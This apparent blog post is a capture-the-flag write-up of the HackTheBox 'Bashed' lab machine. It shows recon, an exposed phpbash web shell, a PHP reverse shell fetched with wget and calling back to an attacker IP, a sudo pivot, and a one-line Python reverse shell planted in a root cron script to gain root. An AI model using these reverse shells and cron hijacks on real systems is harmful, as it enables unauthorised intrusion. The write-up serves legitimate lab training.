WriteUp: HackTheBox Bashed

Bashed is a Linux machine rated easy. We gain access to the user flag via basic enumeration. To get the root flag, we have to escalate privileges by taking advantage of a scheduled cron job that can run without a password being required.

Table of Contents

  1. Reconnaissance
  2. Enumeration
  3. Privilege Escalation
  4. Defender’s Note

Reconnaissance

We start off by running an nmap scan against the machine to verify open ports and services

$ nmap -A -T4 -p- 10.10.10.68

From the results, we see that only port 80 is running on this linux box.

Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Enumeration

We also see the exact version of apache being used. Let’s quickly verify http by browsing to the machine’s IP address. We are presented with Arrexel’s Development Site which also leads us to this GitHub page.

We also see a screenshot in the website that seems to point towards there being an uploads folder that somehow gives us access to bash.

Let’s first view the source code and check if there is anything that stands out. Nothing stands out.

Let’s start a directory scan of the server using dirbuster.

We see a phpbash in the dev folder that seems to match the program that the developer of the site wrote and from the screenshot, it looked as if we could get shell. Let’s try navigate to that path.

Sure enough, when we navigate to [http://10.10.10.68/dev/phpbash.php], we do get a terminal. It appears that we are logged in as www-data and that we can run all commands as scriptmanager without necessitating a password.

User Flag

We can try and change to a user directory. We see that we are able to access arrexel’s home folder and read the user.txt file which contains the user flag.

www-data@bashed
:/var/www/html/dev# cd /

www-data@bashed
:/# pwd

/
www-data@bashed
:/# ls

bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
scripts
srv
sys
tmp
usr
var
vmlinuz
www-data@bashed
:/# cd home

www-data@bashed
:/home# ls

arrexel
scriptmanager
www-data@bashed
:/home# cd arrexel

www-data@bashed
:/home/arrexel# ls

user.txt
www-data@bashed
:/home/arrexel# cat usr.txt

cat: usr.txt: No such file or directory
www-data@bashed
:/home/arrexel# cat user.txt

2c281XXXXXXXXXXXXXXXXXXXXXXX47bfc1

Privilege Escalation

Let’s go back to root and review the files again. When we look at the files, we see that they are all owned by root but for the scripts folder which is owned by scriptmanager.

www-data@bashed
:/# ls -lah

total 88K
drwxr-xr-x 23 root root 4.0K Dec 4 2017 .
drwxr-xr-x 23 root root 4.0K Dec 4 2017 ..
drwxr-xr-x 2 root root 4.0K Dec 4 2017 bin
drwxr-xr-x 3 root root 4.0K Dec 4 2017 boot
drwxr-xr-x 19 root root 4.2K Jun 27 13:14 dev
drwxr-xr-x 89 root root 4.0K Dec 4 2017 etc
drwxr-xr-x 4 root root 4.0K Dec 4 2017 home
lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4.0K Dec 4 2017 lib
drwxr-xr-x 2 root root 4.0K Dec 4 2017 lib64
drwx------ 2 root root 16K Dec 4 2017 lost+found
drwxr-xr-x 4 root root 4.0K Dec 4 2017 media
drwxr-xr-x 2 root root 4.0K Feb 15 2017 mnt
drwxr-xr-x 2 root root 4.0K Dec 4 2017 opt
dr-xr-xr-x 250 root root 0 Jun 27 13:14 proc
drwx------ 3 root root 4.0K Dec 4 2017 root
drwxr-xr-x 18 root root 500 Jun 27 13:14 run
drwxr-xr-x 2 root root 4.0K Dec 4 2017 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4.0K Dec 4 2017 scripts
drwxr-xr-x 2 root root 4.0K Feb 15 2017 srv
dr-xr-xr-x 13 root root 0 Jun 27 13:14 sys
drwxrwxrwt 10 root root 4.0K Jun 27 15:01 tmp
drwxr-xr-x 10 root root 4.0K Dec 4 2017 usr
drwxr-xr-x 12 root root 4.0K Dec 4 2017 var
lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic

We had established that there were a couple of commands that we could run as script manager without password. When we try to switch to this user, we get an error.

www-data@bashed
:/# sudo su scriptmanager

sudo: no tty present and no askpass program specified

We can try and get a shell here using the following script. We need to modify the IP and port used to point to our IP and listening port.

Modified the values to point to the attacker desktop.

$ip = '10.10.14.20';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

We then need to start a TCP listener on a host and port that will be accessible by the web server ( our attacker IP).

$ nc -nlvp 4444
listening on [any] 4444 ...

On the victim machine, we also know that there is an uploads folder that we have access to. Let’s try and navigate to that folder.


www-data@bashed
:/home/scriptmanager# cd /var/www

www-data@bashed
:/var/www# ls

html
www-data@bashed
:/var/www# cd html

www-data@bashed
:/var/www/html# ls

about.html
config.php
contact.html
css
demo-images
dev
fonts
images
index.html
js
php
scroll.html
single.html
style.css
uploads
www-data@bashed
:/var/www/html# cd uploads

www-data@bashed
:/var/www/html/uploads# ls

index.html

Let’s try and upload the reverse shell file to this upload’s folder. We need to start a HTTP Server on our attacker machine.

$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

We then need to use wget to download the file onto the victim folder.

www-data@bashed
:/var/www/html/uploads# ls

index.html
www-data@bashed
:/var/www/html/uploads# wget http://10.10.14.20:8080/php-reverse-shell.php .

--2021-06-27 15:27:56-- http://10.10.14.20:8080/php-reverse-shell.php
Connecting to 10.10.14.20:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5493 (5.4K) [application/octet-stream]
Saving to: 'php-reverse-shell.php'

0K ..... 100% 601M=0s

2021-06-27 15:27:56 (601 MB/s) - 'php-reverse-shell.php' saved [5493/5493]

--2021-06-27 15:27:56-- http://./
Resolving . (.)... failed: Temporary failure in name resolution.
wget: unable to resolve host address '.'
FINISHED --2021-06-27 15:27:56--
Total wall clock time: 0.05s
Downloaded: 1 files, 5.4K in 0s (601 MB/s)
www-data@bashed
:/var/www/html/uploads# ls

index.html
php-reverse-shell.php

Now that the file is uploaded, we need to execute it somehow. We can do that by navigating to the file [http://10.10.10.68/uploads/php-reverse-shell.php].

We see from the netcat listener that we have a successful connection.

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.68] 56132
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 15:31:02 up  2:16,  0 users,  load average: 0.00, 0.10, 1.21
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

When we verify who we are, we see we are logged in as www-data.

$ whoami
www-data
$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
$ sudo su scriptmanager
sudo: no tty present and no askpass program specified

We still have no tty. We need to try to spawn a TTY shell. We can use the techniques listed here.

$ python -c 'import pty; pty.spawn("/bin/bash")'          
www-data@bashed:/$ whoami
whoami
www-data

We are able to successfully spawn a tty shell. Let’s now try and switch to scriptmanager as we had noted that there were commands we could run without password.

www-data@bashed:/$ sudo su scriptmanager
sudo su scrptmanager
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

sudo: 3 incorrect password attempts

That doesn’t work. But perhaps we can simply run the commands as user without switching to the user.

www-data@bashed:/$ sudo -u scriptmanager /bin/bash
sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/$ pwd

That worked. We are logged in as scriptmanager. In the directory, we see that all files and folders are owned by root, but for the scripts folder. Let’s follow that path.

scriptmanager@bashed:/$ whoami
whoami
scriptmanager
scriptmanager@bashed:/$ ls -la
ls -la
total 88
drwxr-xr-x  23 root          root           4096 Dec  4  2017 .
drwxr-xr-x  23 root          root           4096 Dec  4  2017 ..
drwxr-xr-x   2 root          root           4096 Dec  4  2017 bin
drwxr-xr-x   3 root          root           4096 Dec  4  2017 boot
drwxr-xr-x  19 root          root           4240 Jun 27 13:14 dev
drwxr-xr-x  89 root          root           4096 Dec  4  2017 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Dec  4  2017 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Feb 15  2017 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 115 root          root              0 Jun 27 13:14 proc
drwx------   3 root          root           4096 Dec  4  2017 root
drwxr-xr-x  18 root          root            500 Jun 27 13:14 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Dec  4  2017 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Jun 27 15:01 sys
drwxrwxrwt  10 root          root           4096 Jun 27 15:47 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Dec  4  2017 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
scriptmanager@bashed:/$ cd scripts      
cd scripts
scriptmanager@bashed:/scripts$ ls -lah
ls -lah
total 16K
drwxrwxr--  2 scriptmanager scriptmanager 4.0K Dec  4  2017 .
drwxr-xr-x 23 root          root          4.0K Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Jun 27 15:50 test.txt

There are two files in that folder. We can view the file test.py because it belongs to us.

scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$ ls -lah 
ls -lah
total 16K
drwxrwxr--  2 scriptmanager scriptmanager 4.0K Dec  4  2017 .
drwxr-xr-x 23 root          root          4.0K Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Jun 27 15:51 test.txt

The python script seems to modify the test.txt file. From the time change, it appears that this is done frequently. We can therefore create a python reverse shell as shown here and use it to spawn a shell. The first thing we need is to modify the IP address and port to our attacker IP and port. Save the file as test.py.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.20",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Start a nectar listener on the attacker machine.

$ nc -nlvp 5555
listening on [any] 5555 ...

Start a HTTP server on the attacker machine so that we can transfer the new test.py file.

$ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...

Transfer the file over to the victim machine.

scriptmanager@bashed:/scripts$ wget http://10.10.14.20:8081/test.py
wget http://10.10.14.20:8081/test.py
--2021-06-27 16:05:27--  http://10.10.14.20:8081/test.py
Connecting to 10.10.14.20:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 219 [text/plain]
Saving to: 'test.py.1'

test.py.1           100%[===================>]     219  --.-KB/s    in 0s      

2021-06-27 16:05:27 (36.4 MB/s) - 'test.py.1' saved [219/219]

Make sure it has the name test.py

scriptmanager@bashed:/scripts$ rm test.py       
rm test.py
scriptmanager@bashed:/scripts$ cp test.py.1 test.py          
cp test.py.1 test.py

At this point, all we have to do is wait for the cron job to run the test.py file and update the test.txt that would then give us a remote shell.

$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.68] 41448
/bin/sh: 0: can't access tty; job control turned off
# pwd
/scripts
# cd scripts
/bin/sh: 2: cd: can't cd to scripts
# whoami
root

Root Flag

Now that we have root, we can search for the root.txt flag.

# cd /root
# ls
root.txt
# cat root.txt
cc4f0aXXXXXXXXXXXXXXXXXXXXXX74a8e2

Defender’s Note

  1. Keep systems up to date. We used the upload feature of a vulnerable service to get our files to the victim machine. Had this path attack surface been reduced, we would have had to look fro another way.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s